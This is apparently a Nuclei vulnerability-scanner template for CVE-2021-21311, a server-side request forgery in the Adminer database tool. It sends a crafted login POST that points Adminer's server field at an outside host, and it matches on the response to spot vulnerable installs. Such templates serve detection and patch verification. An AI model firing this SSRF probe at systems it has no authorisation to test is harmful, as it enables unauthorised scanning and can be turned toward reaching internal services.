id: CVE-2021-21311

info:
  name: "Adminer - Server-Side Request Forgery"
  author: vedas-arpsyndicate
  severity: high
  description: |
    Adminer is an open-source database management in a single PHP file. In adminer from version 4.0.0 and before
    4.7.9 there is a server-side request forgery vulnerability.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2021-21311&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=adminer&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cve-id: CVE-2021-21311
    cwe-id: CWE-918
  metadata:
    verified: false
  tags: cve2021,cve,adminer,ssrf,vkev,kev,vuln
http:
  - raw:
      - |
        POST {{path}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        auth[driver]=elastic&auth[server]=example.org&auth[username]={{to_lower(rand_base(8))}}&auth[password]={{to_lower(rand_base(8))}}&auth[db]={{to_lower(rand_base(8))}}

    payloads:
      path:
        - "/index.php"
        - "/adminer.php"
        - "/adminer/adminer.php"
        - "/adminer/index.php"
        - "/_adminer.php"
        - "/_adminer/index.php"

    attack: batteringram
    stop-at-first-match: true
    redirects: true
    max-redirects: 1

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<title>400 - Bad Request</title>"
          - "&lt;title&gt;400 - Bad Request&lt;/title&gt;"
        condition: or

      - type: status
        status:
          - 403